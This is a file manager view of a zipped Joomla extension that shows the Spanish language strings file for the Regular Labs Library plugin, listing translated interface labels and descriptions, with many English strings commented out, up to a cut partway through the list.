File manager - Edit - /home/opticamezl/www/newok/regularlabs.zip
Back
PK :�\x[Ky� � / language/es-ES/es-ES.plg_system_regularlabs.ininu &1i� ;; @package Regular Labs Library ;; @version 25.7.12430 ;; ;; @author Peter van Westen <info@regularlabs.com> ;; @link https://regularlabs.com ;; @copyright Copyright © 2025 Regular Labs All Rights Reserved ;; @license GNU General Public License version 2 or later ;; ;; @translate Want to help with translations? See: https://regularlabs.com/translate PLG_SYSTEM_REGULARLABS="Sistema - Regular Labs Library" PLG_SYSTEM_REGULARLABS_DESC="Regular Labs Library - utilizado por las extensiones Regular Labs" REGULAR_LABS_LIBRARY="Regular Labs Library" REGULAR_LABS_LIBRARY_DESC="[[%1:warning%]]Las extensiones Regular Labs necesitan este plugin y no funcionarán sin él..<br><br>Las extensiones Regular Labs incluyen:[[%2:extensions%]]" REGULAR_LABS_LIBRARY_DESC_WARNING="No desinstales o desactives este plugin si estás usando extensiones Regular Labs." COM_CONFIG_RL_ACTIONLOG_FIELDSET_LABEL="Registro de acciones del usuario" COM_CONFIG_RL_TAG_SYNTAX_FIELDSET_LABEL="Sintaxis de la etiqueta" COM_MODULES_DESCRIPTION_FIELDSET_LABEL="Descripción" COM_MODULES_RL_BEHAVIOUR_FIELDSET_LABEL="Comportamiento" COM_PLUGINS_DESCRIPTION_FIELDSET_LABEL="Descripción" COM_PLUGINS_RL_BEHAVIOUR_FIELDSET_LABEL="Comportamiento" COM_PLUGINS_RL_DEFAULT_SETTINGS_FIELDSET_LABEL="Configuración por defecto" COM_PLUGINS_RL_MEDIA_FIELDSET_LABEL="Media" COM_PLUGINS_RL_SETTINGS_ADMIN_MODULE_FIELDSET_LABEL="Opciones del módulo de administrador" COM_PLUGINS_RL_SETTINGS_EDITOR_BUTTON_FIELDSET_LABEL="Opciones del botón del editor" COM_PLUGINS_RL_SETTINGS_SECURITY_FIELDSET_LABEL="Opciones de seguridad" COM_PLUGINS_RL_SETUP_FIELDSET_LABEL="Configurar" COM_PLUGINS_RL_STYLING_FIELDSET_LABEL="Estilo" COM_PLUGINS_RL_TAG_SYNTAX_FIELDSET_LABEL="Sintaxis de la etiqueta" RL_ACCESS_LEVELS="Niveles de Acceso" RL_ACCESS_LEVELS_DESC="Selecciona los niveles de acceso a asignar." RL_ACTION_CHANGE_DEFAULT="Cambiar predeterminado" RL_ACTION_CHANGE_STATE="Cambiar estado de publicación" RL_ACTION_CREATE="Crear" RL_ACTION_DELETE="Eliminar" RL_ACTION_INSTALL="Instalar" RL_ACTION_UNINSTALL="Desinstalar" RL_ACTION_UPDATE="Actualización" RL_ACTIONLOG_EVENTS="Eventos para registrar" RL_ACTIONLOG_EVENTS_DESC="Seleccione las acciones para incluir en el Registro de acciones del usuario." ; RL_ADD_BUTTON_TEXT="Add Button Text" ; RL_ADD_BUTTON_TEXT_DESC="Select to show a text in the button." RL_ADMIN="Administrador" ; RL_ADMIN_MODULE_HAS_BEEN_DISABLED="The [[%1:extension%]] administrator module has been unpublished!" RL_ADVANCED="Avanzado" RL_AFTER="Después" RL_AFTER_NOW="Después de ahora" RL_AKEEBASUBS="Akeeba Subscriptions" RL_ALIGNMENT="Alineación" RL_ALL="TODO" RL_ALL_DESC="Se publicará si <strong>TODAS</strong> las asignaciones inferiores se cumplen." RL_ALL_RIGHTS_RESERVED="Todos los derechos reservados" RL_ALSO_ON_CHILD_ITEMS="También en ítems hijos" RL_ALSO_ON_CHILD_ITEMS_DESC="Asignar también a los ítems hijos de los ítems seleccionados?" RL_ALSO_ON_CHILD_ITEMS_MENUITEMS_DESC="Los elementos hijos hacen referencia al elemento actual en la selección anterior. No se refieren a enlaces en las paginas seleccionadas." ; RL_ANIMATIONS="Animations" RL_ANY="ALGUNA" RL_ANY_DESC="Se publicará si <strong>ALGUNA</strong> (una o más) de las asignaciones inferiores se cumplen.<br>Se ignorará los grupos de asignación donde se haya seleccionado 'Ignore'." RL_ARE_YOU_SURE="¿ Está seguro ?" RL_ARTICLE="Artículo" RL_ARTICLE_AUTHORS="Autores" RL_ARTICLE_AUTHORS_DESC="Selecciona los autores a asignar." RL_ARTICLES="Artículos" RL_ARTICLES_DESC="Seleccione los artículos a asignar." RL_AS_EXPORTED="Como exportado" RL_ASSIGNMENTS="Asignaciones" RL_ASSIGNMENTS_DESC="Al seleccionar las asignaciones especiales puedes limitar donde el %s debería o no ser publicado.<br>Para tenerlo publicado en todas las paginas, simplemente no especifique ninguna asignación." RL_AUSTRALIA="Australia" RL_AUTHORS="Autores" RL_AUTO="Auto" ; RL_AUTOMATIC="Automatic" ; RL_BE_CAREFUL="Be careful!" RL_BEFORE="Antes" RL_BEFORE_NOW="Antes de ahora" RL_BEGINS_WITH="Inicia con" RL_BEHAVIOR="Comportamiento" RL_BEHAVIOUR="Comportamiento" RL_BETWEEN="Entre" RL_BOOTSTRAP="Bootstrap" RL_BOOTSTRAP_FRAMEWORK_DISABLED="Has des habilitado el inicio del Fraamework Bootstrap. %sNecesitan el funcionamiento del Framework Bootstrap. Asegúrate que tu plantilla u otra extension, cargan los códigos necesarios para reemplazar la funcionalidad requerida." RL_BOTH="Ambos" RL_BOTTOM="Abajo" ; RL_BOTTOM_LEFT="Bottom Left" ; RL_BOTTOM_RIGHT="Bottom Right" RL_BROWSERS="Navegadores" RL_BROWSERS_DESC="Seleccionar los navegadores a asignar. Ten en cuenta que la detección del navegador nunca es100% impermeable. Los usuarios pueden configurar sus navegadores para mimetizar a otros navegadores." RL_BUTTON_ICON="Icon ode Botón" RL_BUTTON_ICON_DESC="Selecciona cual icono se mostrara en el botón." RL_BUTTON_TEXT="Texto del Botón" ; RL_BUTTON_TEXT_DESC="Set the text to show in the button. You can use a language string." RL_CACHE_TIME="Duración caché" RL_CACHE_TIME_DESC="El tamaño máximo de tiempo en minutos que se pueden almacenar los archivos cache antes de la recarga .Dejar vació para usar los ajustes globales." ; RL_CASE_SENSITIVE="Case Sensitive" RL_CATEGORIES="Categorías" RL_CATEGORIES_DESC="Selecciona las categorías a asignar." RL_CATEGORY="Categoría" ; RL_CENTER="Center" RL_CHANGELOG="Registro de cambios" ; RL_CHARACTERS="Characters" RL_CLASSNAME="Clase CSS" RL_CLICK="Click" RL_COLLAPSE="Colapsar" RL_COLOR="Color" RL_COLORS="Colores" RL_COLORS_DESC="Una lista separada por comas de colores RGB para mostrar en el selector de color." RL_COM="Componente" RL_COMBINE_ADMIN_MENU="Combinar menu de Administrador" RL_COMBINE_ADMIN_MENU_DESC="Selecciona para combinar todos los componentes RegularLabs en un submenu, en el menu del administrador." RL_COMPARISON="Comparación" RL_COMPONENTS="Componentes" RL_COMPONENTS_DESC="Selecciona los componentes a asignar." RL_CONDITIONS="Condiciones" RL_CONTAINS="Contiene" RL_CONTAINS_ONE="Contiene uno de" RL_CONTENT="Contenido" RL_CONTENT_KEYWORDS="Teclas de Contenido" RL_CONTENT_KEYWORDS_DESC="Ingrese las palabras clave encontradas en el contenido para asignar. Use comas para separar las palabras clave." RL_CONTINENTS="Continentes" RL_CONTINENTS_DESC="Seleccione los continentes para asignar." RL_COOKIECONFIRM="Confirmar Cookie" RL_COOKIECONFIRM_COOKIES="Cookies Permitidas" RL_COOKIECONFIRM_COOKIES_DESC="Asigna a cuales cookies se las permite o deshabilita, basado en la configuración de Cookie Confirm (por Twentronix) y el visitante elige aceptar o denegar cookies." RL_COPY_OF="Copia de %s" RL_COPYRIGHT="Copyright" RL_COUNTRIES="Paises" RL_COUNTRIES_DESC="Selecciona los países a asignar." RL_CSS_CLASS="Clase(CSS)" RL_CSS_CLASS_DESC="Define el nombre una clase css para propósitos de estilizado." RL_CURRENT="Actual" RL_CURRENT_DATE="Fecha/hora actual: <strong>%s</strong>" RL_CURRENT_USER="Usuario actual" RL_CURRENT_VERSION="Su versión actual es %s" RL_CUSTOM="Personalizado" RL_CUSTOM_CODE="Código personalizado" RL_CUSTOM_CODE_DESC="Ingrese el código que el botón del editor debe insertar en el contenido (En lugar del código por defecto)" RL_CUSTOM_FIELD="Campos Personalizados" RL_CUSTOM_FIELDS="Campos personalizados" ; RL_CUSTOM_FORMAT="Custom Format" RL_DATE="Fecha" RL_DATE_DESC="Seleccione el tipo de comparación de fechas para asignar." RL_DATE_FROM="Desde" RL_DATE_RECURRING="Recurrente" RL_DATE_RECURRING_DESC="Seleccione para aplicar un rango de fechas cada año. (Así se ignorara el año en la selección)" RL_DATE_TIME="Fecha y hora" RL_DATE_TIME_DESC="La fecha y hora de las asignaciones usa la fecha/hora de tus servidores, no la de los sistemas visitantes." RL_DATE_TO="Hasta" RL_DAYS="Días de la semana" RL_DAYS_DESC="Selecciona los días de la semana a asignar." RL_DEFAULT_ORDERING="Ordenamiento predeterminado" RL_DEFAULT_ORDERING_DESC="Seleccione el orden predeterminado de los elementos de la lista." RL_DEFAULT_SETTINGS="Configuración por defecto" RL_DEFAULTS="Por defecto" RL_DEVICE_DESKTOP="Escritorio" RL_DEVICE_MOBILE="Móvil" RL_DEVICE_TABLET="Tableta" RL_DEVICES="Dispositivos" RL_DEVICES_DESC="Seleccione los dispositivos a ser asignados. Tenga en mente que la detección de dispositivos no es 100% precisa. Los usuarios pueden configurar que su dispositivo simule a otros." RL_DIRECTION="Dirección" RL_DIRECTION_DESC="Seleccione la dirección" ; RL_DISABLE_IN_SOURCERER="Disable in Sourcerer" ; RL_DISABLE_IN_SOURCERER_DESC="Select to disable the plugin inside Sourcerer tags." RL_DISABLE_ON_ADMIN_COMPONENTS_DESC="Selecciones en cuales componentes del Administrador NO se habilitara el uso de esta extensión." RL_DISABLE_ON_ALL_COMPONENTS_DESC="Selecciones en cuales componentes NO se habilitara el uso de esta extensión." RL_DISABLE_ON_COMPONENTS="Desactivar en Componentes" RL_DISABLE_ON_COMPONENTS_DESC="Selecciones en cuales componentes de la Interfaz NO se habilitara el uso de esta extensión." RL_DISPLAY_EDITOR_BUTTON="Mostrar Boton de Editor" RL_DISPLAY_EDITOR_BUTTON_DESC="Seleccione un botón editor a mostrar." RL_DISPLAY_LINK="Mostrar enlace" RL_DISPLAY_LINK_DESC="¿Cómo quiere que el enlace que se muestra?" ; RL_DISPLAY_STATUSBAR_BUTTON="Display Status bar Button" ; RL_DISPLAY_STATUSBAR_BUTTON_DESC="Select to show a button in the status bar." RL_DISPLAY_TOOLBAR_BUTTON="Mostrar Botón de Barra de Herramientas." RL_DISPLAY_TOOLBAR_BUTTON_DESC="Seleccione para mostrar un botón en la barra de herramientas." RL_DISPLAY_TOOLBAR_BUTTONS="Mostrar botones de la barra de herramientas" ; RL_DISPLAY_TOOLBAR_BUTTONS_DESC="Select to show button(s) in the toolbar." RL_DISPLAY_TOOLTIP="Mostar Tooltip" RL_DISPLAY_TOOLTIP_DESC="Seleccione para mostrar un tooltip con información adicional cuando pase el mouse sobre el enlace/ícono." RL_DOWNLOAD_KEY="Clave de descarga" ; RL_DOWNLOAD_KEY_DESC="Please enter your Download Key from the Regular Labs website here. You can find your Download Key under Downloads on the Regular Labs website after logging in." ; RL_DOWNLOAD_KEY_ENTER="Please enter your Regular Labs Download Key" ; RL_DOWNLOAD_KEY_ERROR_EMPTY="You have not entered your Download Key yet.<br>Without the Download Key, you will not be able to update when new versions of [[%1:extension%]] (Pro versions) are released.<br>You can find your Download Key under [[%2:start link%]]Download Keys[[%3:end link%]] on the Regular Labs website after logging in." ; RL_DOWNLOAD_KEY_ERROR_EXPIRED="Your subscription seems to have expired.<br>This means you will not be able to update to newer versions.<br>Please consider [[%1:start link%]]renewing your subscription[[%2:end link%]]." ; RL_DOWNLOAD_KEY_ERROR_EXTERNAL="There was an issue trying to check the validity of your Download Key.<br>Try again later.<br>Otherwise contact the [[%1:start link%]]Regular Labs support[[%2:end link%]]." ; RL_DOWNLOAD_KEY_ERROR_INVALID="Your Download Key seems to be invalid.<br>You can find your Download Key under [[%1:start link%]]Download Keys[[%2:end link%]] on the Regular Labs website after logging in." ; RL_DOWNLOAD_KEY_ERROR_LOCAL="There was an issue trying to find a Download Key on your setup.<br>Try reinstalling the extension." ; RL_DYNAMIC_TAG_ARTICLE_ID="The id number of the current article." ; RL_DYNAMIC_TAG_ARTICLE_OTHER="Any other available data from the current article." ; RL_DYNAMIC_TAG_ARTICLE_TITLE="The title of the current article." ; RL_DYNAMIC_TAG_COUNTER="This places the number of the occurrence.<br>If your search is found, say, 4 times, the count will show respectively 1 to 4." ; RL_DYNAMIC_TAG_DATE="Date using [[%1:start link%]]php strftime() format[[%2:end link%]]. Example: [[%3:example%]]" ; RL_DYNAMIC_TAG_ESCAPE="Use to escape dynamic values (add slashes to quotes)." ; RL_DYNAMIC_TAG_LOWERCASE="Convert text within tags to lowercase." ; RL_DYNAMIC_TAG_NOTAGS="Remove html tags from the text within tags." ; RL_DYNAMIC_TAG_NOWHITESPACE="Remove html tags and whitespace from the text within tags." RL_DYNAMIC_TAG_RANDOM="Un número aleatorio dentro del rango determinado" ; RL_DYNAMIC_TAG_RANDOM_LIST="A random value from a list of strings, numbers or ranges" ; RL_DYNAMIC_TAG_REPLACE="Replace strings inside the text within tags" ; RL_DYNAMIC_TAG_STRING_EXAMPLE=""It's a <strong><u>string</u></strong>!"" RL_DYNAMIC_TAG_TEXT="Una cadena de idioma para traducir a texto (basada en el idioma activo)" ; RL_DYNAMIC_TAG_TOALIAS="Convert text within tags to an alias (lowercase dash separated string)." ; RL_DYNAMIC_TAG_UPPERCASE="Convert text within tags to uppercase." RL_DYNAMIC_TAG_USER_ID="El número de identificación del usuario" RL_DYNAMIC_TAG_USER_NAME="El nombre del usuario" ; RL_DYNAMIC_TAG_USER_OTHER="Any other available data from the user or the connected contact. Example: [[user:misc]]" ; RL_DYNAMIC_TAG_USER_TAG_DESC="The user tag places data from the logged in user. If the visitor is not logged in, the tag will be removed." RL_DYNAMIC_TAG_USER_USERNAME="El nombre de inicio de sesión del usuario" RL_DYNAMIC_TAGS="Etiquetas dinámicas" RL_EASYBLOG="EasyBlog" RL_EDITOR_BUTTON_TEXT_DESC="Este texto será mostrado en el botón del editor que utilice." ; RL_ELEMENT="Element" ; RL_EMPTY_FOR_AUTO_SIZING="Leave empty to use automatic sizing." ; RL_EMPTY_FOR_AUTOMATIC_SIZING="Leave empty to use automatic sizing." ; RL_EMPTY_FOR_DEFAULT="Leave empty to use the default setting." RL_ENABLE="Activar" ; RL_ENABLE_ACTIONLOG="Log User Actions" ; RL_ENABLE_ACTIONLOG_DESC="Select to store User Actions. These actions will be visible in the User Actions Log module." RL_ENABLE_IN="Habilitar" RL_ENABLE_IN_ADMIN="Habilitar Administrador" ; RL_ENABLE_IN_ADMIN_DESC="If enabled, the plugin will also work in the administrator side of the website.<br><br>Normally you will not need this. And it can cause unwanted effects, like slowing down the administrator and the plugin tags being handled in areas you don't want it." RL_ENABLE_IN_ARTICLES="Activar para artículos" RL_ENABLE_IN_COMPONENTS="Activar para componentes" ; RL_ENABLE_IN_DESC="Select whether to enable in the frontend or administrator side or both." RL_ENABLE_IN_FRONTEND="Activar en frontend" RL_ENABLE_IN_FRONTEND_DESC="Si está activado, sino que también estará disponible en el frontend." RL_ENABLE_OTHER_AREAS="Activar para otras áreas" ; RL_ENABLE_PUBLISHING_ASSIGNMENTS="Here you can switch off any publishing assignments you do not want to use." ; RL_ENABLED_IN_FRONTEND="Enabled in frontend" ; RL_ENDS_WITH="Ends with" ; RL_EQUALS="Equals" ; RL_ERROR_CODEMIRROR_DISABLED="The CodeMirror editor plugin is disabled. [[%1:extension]] needs this editor to function. [[%2:link start]]Please enabled it.[[%3:link end]]" RL_EXCLUDE="Excluir" RL_EXPAND="Expandir" RL_EXPORT="Exportar" RL_EXPORT_FORMAT="Exportar Formato" RL_EXPORT_FORMAT_DESC="Seleccione el formato para exportar los archivos." RL_EXTRA_PARAMETERS="Parámetros extra" ; RL_EXTRA_PARAMETERS_DESC="Enter any extra parameters that cannot be set with the available settings" RL_FADE="Fundido" RL_FALL="Otoño" ; RL_FEATURED_DESC="Select to use the feature state in the assignment." ; RL_FEATURES="Features" ; RL_FIELD="Field" ; RL_FIELD_CHECKBOXES="Checkboxes" ; RL_FIELD_DROPDOWN="Dropdown" ; RL_FIELD_MULTI_SELECT_STYLE="Multi-Select Style" ; RL_FIELD_MULTI_SELECT_STYLE_DESC="Show the multi-select field as a standard dropdown field or an advanced field based on checkboxes." RL_FIELD_NAME="Nombre del campo" RL_FIELD_PARAM_MULTIPLE="Multiple" RL_FIELD_PARAM_MULTIPLE_DESC="Permitir multiples valores a seleccionar." ; RL_FIELD_SELECT_STYLE="Multi-Select Style" ; RL_FIELD_SELECT_STYLE_DESC="Show the multi-select field as a standard dropdown field or an advanced field based on checkboxes." RL_FIELD_VALUE="Valor de Campo" ; RL_FIELDS_DESC="Select the field(s) you want to assign to and enter the desired value(s)." RL_FILES_NOT_FOUND="%s archivos requeridos no encontrados" RL_FILTERS="Filtros" RL_FINISH_PUBLISHING="Finalizar publicación" RL_FINISH_PUBLISHING_DESC="Introduce la fecha para finalizar publicación" RL_FIX_HTML="Reparar HTML" ; RL_FIX_HTML_DESC="Select to let the extension fix any html structure issues it finds. This is often necessary to deal with surrounding html tags.<br><br>Only switch this off if you have issues with this." RL_FLEXICONTENT="FLEXIcontent" RL_FOR_MORE_GO_PRO="Para más funcionalidades pueder comprar la Pro." RL_FORM2CONTENT="Form2Content" ; RL_FRAMEWORK_NO_LONGER_USED="The Old NoNumber Framework does not seem to be used by any other extensions you have installed. It is probably safe to disable or uninstall this plugin." ; RL_FROM_TO="From-To" RL_FRONTEND="Frontend" RL_GALLERY="Galeria" RL_GEO="Geolocalización" ; RL_GEO_DESC="Geolocating is not always 100% accurate. The geolocation is based on the IP address of the visitor. Not all IP addresses are fixed or known." RL_GEO_GEOIP_COPYRIGHT_DESC="Este producto incluye GeoLite2 datos creados por MaxMind, disponible en [[%1:link%]]" ; RL_GEO_NO_GEOIP_LIBRARY="The Regular Labs GeoIP library is not installed. You need to [[%1:link start%]]install the Regular Labs GeoIP library[[%2:link end%]] to be able to use the Geolocating assignments." RL_GO_PRO="Ir Pro" ; RL_GO_TO_DOCUMENTATION="[[%1:icon%]] [[%2:start link%]]Documentation[[%3:end link%]]" ; RL_GREATER_THAN="Greater than" ; RL_HANDLE_HTML_HEAD="Handle HTML Head" ; RL_HANDLE_HTML_HEAD_DESC="Select to have the plugin also handle the HTML head section.<br><br>Please note that this can potentially cause unwanted html to be placed inside the HTML head tags and cause HTML syntax issues." RL_HEADING_1="Titulo 1" RL_HEADING_2="Titulo 2" RL_HEADING_3="Titulo 3" RL_HEADING_4="Titulo 4" RL_HEADING_5="Titulo 5" RL_HEADING_6="Titulo 6" RL_HEADING_ACCESS_ASC="Acceso Ascendente" RL_HEADING_ACCESS_DESC="Acceso Descendente" ; RL_HEADING_ALIAS_ASC="Alias ascending" ; RL_HEADING_ALIAS_DESC="Alias descending" RL_HEADING_CATEGORY_ASC="Categoría Ascendente" RL_HEADING_CATEGORY_DESC="Categoría Descendente" RL_HEADING_CLIENTID_ASC="Locación Ascendente" RL_HEADING_CLIENTID_DESC="Locación Descendente" RL_HEADING_COLOR_ASC="Color Ascendente" RL_HEADING_COLOR_DESC="Color Descendente" ; RL_HEADING_DEFAULT_ASC="Default ascending" ; RL_HEADING_DEFAULT_DESC="Default descending" RL_HEADING_DESCRIPTION_ASC="Descripción Ascendente" RL_HEADING_DESCRIPTION_DESC="Descripción Descendente" RL_HEADING_ID_ASC="ID ascendente" RL_HEADING_ID_DESC="ID descencente" RL_HEADING_LANGUAGE_ASC="Idioma Ascendente" RL_HEADING_LANGUAGE_DESC="Idioma Descendente" RL_HEADING_ORDERING_ASC="Orden Ascendente" ; RL_HEADING_ORDERING_DESC="Ordering descending" ; RL_HEADING_PAGES_ASC="Menu Items ascending" ; RL_HEADING_PAGES_DESC="Menu Items descending" ; RL_HEADING_POSITION_ASC="Position ascending" ; RL_HEADING_POSITION_DESC="Position descending" RL_HEADING_STATUS_ASC="aumento" RL_HEADING_STATUS_DESC="Reducir estado" ; RL_HEADING_STYLE_ASC="Style ascending" ; RL_HEADING_STYLE_DESC="Style descending" ; RL_HEADING_TEMPLATE_ASC="Template ascending" ; RL_HEADING_TEMPLATE_DESC="Template descending" RL_HEADING_TITLE_ASC="Aumentando título" RL_HEADING_TITLE_DESC="Reduciendo t´tulo" ; RL_HEADING_TYPE_ASC="Type ascending" ; RL_HEADING_TYPE_DESC="Type descending" RL_HEIGHT="Altura" RL_HEMISPHERE="Hemisferio" RL_HEMISPHERE_DESC="Selecciona el hemisferio en el que está localizado tu sitio web" ; RL_HIDE_SETTINGS="Hide Settings" RL_HIGH="Alto" RL_HIKASHOP="HikaShop" RL_HOME_PAGE="Página inicial" RL_HOME_PAGE_DESC="A diferencia de la selección del elemento de la página de inicio (por defecto) a través de las opciones del menú, esto sólo coincidirá con la página de inicio real, no cualquier URL que tiene el mismo Itemid que el elemento de menú de inicio.<br><br>Esto podría no funcionar para todas las extensiones 3 ª Parte." RL_HOVER="Hover" RL_HTML_LINK="<a href="[[%2:url%]]" target="_blank" class="[[%3:class%]]">[[%1:text%]]</a>" ; RL_HTML_TAGS="HTML Tags" RL_ICON_ONLY="Sólo el icono" RL_IGNORE="Ignorar" RL_IMAGE="Imagen" ; RL_IMAGE_ALT="Image Alt" ; RL_IMAGE_ALT_DESC="The Alt value of the image." ; RL_IMAGE_ATTRIBUTES="Image Attributes" ; RL_IMAGE_ATTRIBUTES_DESC="The extra attributes of the image, like: alt="My image" width="300"" RL_IMPORT="Importar" RL_IMPORT_ITEMS="Importar Items" RL_INCLUDE="Incluir" ; RL_INCLUDE_CHILD_CATEGORIES="Include child categories" ; RL_INCLUDE_CHILD_ITEMS="Include child items" ; RL_INCLUDE_CHILD_ITEMS_DESC="Also include child items of the selected items?" ; RL_INCLUDE_CHILD_TAGS="Include child tags" RL_INCLUDE_NO_ITEMID="No incluir ItemID" RL_INCLUDE_NO_ITEMID_DESC="¿Asignar también cuando no hay un ItemID de menú activo en la URL?" ; RL_INITIALISE_EVENT="Initialise on Event" ; RL_INITIALISE_EVENT_DESC="Set the internal Joomla event on which the plugin should be initialised. Only change this if you experience issues with the plugin not working." ; RL_INPUT_SYNTAX="Input Syntax" ; RL_INPUT_TYPE="Input Type" ; RL_INPUT_TYPE_ALNUM="A string containing A-Z or 0-9 only (not case sensitive)." ; RL_INPUT_TYPE_ARRAY="An array." ; RL_INPUT_TYPE_BOOLEAN="A boolean value." ; RL_INPUT_TYPE_CMD="A string containing A-Z, 0-9, underscores, periods or hyphens (not case sensitive)." ; RL_INPUT_TYPE_DESC="Select an input type:" ; RL_INPUT_TYPE_FLOAT="A floating point number, or an array of floating point numbers." ; RL_INPUT_TYPE_INT="An integer, or an array of integers." ; RL_INPUT_TYPE_STRING="A fully decoded and sanitised string (default)." ; RL_INPUT_TYPE_UINT="An unsigned integer, or an array of unsigned integers." ; RL_INPUT_TYPE_WORD="A string containing A-Z or underscores only (not case sensitive)." RL_INSERT="Insertar" ; RL_INSERT_DATE_NAME="Insert Date / Name" ; RL_IP_RANGES="IP Addresses / Ranges" ; RL_IP_RANGES_DESC="A comma and/or enter separated list of IP addresses and IP ranges. For instance:<br>127.0.0.1<br>128.0-128.1<br>129" RL_IPS="Direcciones IP" RL_IS_FREE_VERSION="Esta es la versión FREE de %s." RL_ITEM="Item" RL_ITEM_IDS="ID de items" RL_ITEM_IDS_DESC="Ingrese los id de items para asignar. Use comas para separar los id" RL_ITEMS="Ítems" RL_ITEMS_DESC="Seleccione los elementos a asignar." RL_JCONTENT="Contenido Joomla" ; RL_JED_REVIEW="Like this extension? [[%1:start link%]]Leave a review at the JED[[%2:end link%]]" ; RL_JQUERY_DISABLED="You have disabled the jQuery script. %s needs jQuery to function. Make sure your template or other extensions load the necessary scripts to replace the required functionality." ; RL_JUSTIFY="Justify" RL_K2="K2" RL_K2_CATEGORIES="Categorías K2" ; RL_KEEP_ORIGINAL_CATEGORY="Keep original Category" RL_LANGUAGE="Idioma" ; RL_LANGUAGE_DESC="Select the language to assign to." RL_LANGUAGES="Idiomas" RL_LANGUAGES_DESC="Selecciona los idiomas a asignar." RL_LAYOUT="Diseño" ; RL_LAYOUT_DESC="Select the layout to use. You can override this layout in the component or template." ; RL_LEAVE_EMPTY_FOR_DEFAULT="Set to 0 or leave empty to use the default setting." ; RL_LEFT="Left" ; RL_LESS_THAN="Less than" RL_LEVELS="Niveles" RL_LEVELS_DESC="Seleccionar los niveles a asignar." ; RL_LIB="Library" RL_LINK_TEXT="Texto del Link" RL_LINK_TEXT_DESC="El texto a mostrar como link." RL_LIST="Lista" ; RL_LOAD_BOOTSTRAP_FRAMEWORK="Load Bootstrap Framework" ; RL_LOAD_BOOTSTRAP_FRAMEWORK_DESC="Disable to not initiate the Bootstrap Framework." ; RL_LOAD_JQUERY="Load jQuery Script" ; RL_LOAD_JQUERY_DESC="Select to load the core jQuery script. You can disable this if you experience conflicts if your template or other extensions load their own version of jQuery." RL_LOAD_MOOTOOLS="Cargar MooTools" RL_LOAD_MOOTOOLS_DESC="Seleccionar para cargar el script MooTools. Podeis desactivar esto si teneis conflictos con la plantilla u otras extensiones." RL_LOAD_STYLESHEET="Cargar hojas de estilos" RL_LOAD_STYLESHEET_DESC="Elija para cargar las hojas de estilo de las extensiones. Puede deshabilitar es si quiere cargar sus propios estilos, como los del template" RL_LOW="Bajo" RL_LTR="Izquierda a derecha" ; RL_MATCH_ALL="Match All" ; RL_MATCH_ALL_DESC="Select to only let the assignment pass if all of the selected items are matched." RL_MATCHING_METHOD="Método emparejamiento" ; RL_MATCHING_METHOD_DESC="Should all or any assignments be matched?<br><br><strong>[[%1:all%]]</strong><br>[[%2:all description%]]<br><br><strong>[[%3:any%]]</strong><br>[[%4:any description%]]" ; RL_MAX_LIST_COUNT="Maximum List Count" ; RL_MAX_LIST_COUNT_DESC="The maximum number of elements to show in the multi-select lists. If the total number of items is higher, the selection field will be displayed as a text field.<br><br>You can set this number lower if you experience long pageloads due to high number of items in lists." ; RL_MAX_LIST_COUNT_INCREASE="Increase Maximum List Count" ; RL_MAX_LIST_COUNT_INCREASE_DESC="There are more than [[%1:max%]] items.<br><br>To prevent slow pages this field is displayed as a textarea instead of a dynamic select list.<br><br>You can increase the '[[%2:max setting%]]' in the Regular Labs Library plugin settings." RL_MAXIMIZE="Maximizar" ; RL_MEDIA_VERSIONING="Use Media Versioning" ; RL_MEDIA_VERSIONING_DESC="Select to add the extension version number to the end of media (js/css) urls, to make browsers force load the correct file." RL_MEDIUM="Mediano" RL_MENU_ITEMS="Ítems de menú" RL_MENU_ITEMS_DESC="Seleccionar los ítems de menú a asignar." RL_META_KEYWORDS="Meta palabras clave" ; RL_META_KEYWORDS_DESC="Enter the keywords found in the meta keywords to assign to. Use commas to separate the keywords." RL_MIJOSHOP="MijoShop" RL_MINIMIZE="Minimizar" RL_MOBILE_BROWSERS="Navegadores dispositivos móviles" RL_MOD="Módulo" RL_MODE="Modo" ; RL_MODULE_HAS_BEEN_DISABLED="The [[%1:extension%]] module has been unpublished!" RL_MONTHS="Meses" RL_MONTHS_DESC="Seleccionar meses a asignar." RL_MORE_INFO="Más info" ; RL_MORE_INFO_PHP_DATES="For more date formats, see <a href="[[%1:url%]]" target="_blank">the PHP documentation</a>." ; RL_MUST_CONTAIN="Must contain" RL_MY_STRING="Mi cadena!" ; RL_N_ITEMS_ARCHIVED="%s items archived." ; RL_N_ITEMS_ARCHIVED_1="%s item archived." ; RL_N_ITEMS_CHECKED_IN_0="No items checked in." ; RL_N_ITEMS_CHECKED_IN_1="%d item checked in." ; RL_N_ITEMS_CHECKED_IN_MORE="%d items checked in." ; RL_N_ITEMS_DELETED="%s items deleted." ; RL_N_ITEMS_DELETED_1="%s item deleted." ; RL_N_ITEMS_FEATURED="%s items featured." ; RL_N_ITEMS_FEATURED_1="%s item featured." ; RL_N_ITEMS_PUBLISHED="%s items published." ; RL_N_ITEMS_PUBLISHED_1="%s item published." ; RL_N_ITEMS_TRASHED="%s items trashed." ; RL_N_ITEMS_TRASHED_1="%s item trashed." ; RL_N_ITEMS_UNFEATURED="%s items unfeatured." ; RL_N_ITEMS_UNFEATURED_1="%s item unfeatured." ; RL_N_ITEMS_UNPUBLISHED="%s items unpublished." ; RL_N_ITEMS_UNPUBLISHED_1="%s item unpublished." RL_N_ITEMS_UPDATED="%d items actualizados." RL_N_ITEMS_UPDATED_1="Un Item fue actalizado" ; RL_NAVIGATION="Navigation" ; RL_NEW_CATEGORY="Create New Category" ; RL_NEW_CATEGORY_ENTER="Enter a new category name" RL_NEW_VERSION_AVAILABLE="Una nueva versión está disponible" ; RL_NEW_VERSION_OF_AVAILABLE="A new version of %s is available" ; RL_NO_ICON="No icon" RL_NO_ITEMS_FOUND="No se han encontrado artículos." RL_NORMAL="Normal" RL_NORTHERN="Septentrional" RL_NOT="No" ; RL_NOT_COMPATIBLE_WITH_JOOMLA_VERSION="Your installed version of [[%1:extension%]] is not compatible with Joomla [[%2:version%]].<br>Please check if there is a version of [[%1:extension%]] available for Joomla [[%2:version%]] and install that." ; RL_NOT_CONTAINS="Does not contain" ; RL_NOT_ENABLED_IN_FRONTEND="Not enable in frontend" ; RL_NOT_EQUALS="Is not equal to" RL_NOTE="Nota" RL_ONLY="Solo" ; RL_ONLY_AVAILABLE_IN_JOOMLA="Only available in Joomla %s or higher." RL_ONLY_AVAILABLE_IN_PRO="<em>Solo disponible en la versión PRO!</em>" ; RL_ONLY_AVAILABLE_IN_PRO_LIST_OPTION="(Only available in PRO version)" RL_ONLY_VISIBLE_TO_ADMIN="Este mensaje solo se muestra a (super) administradores" RL_OPTION_SELECT="- Seleccionar -" ; 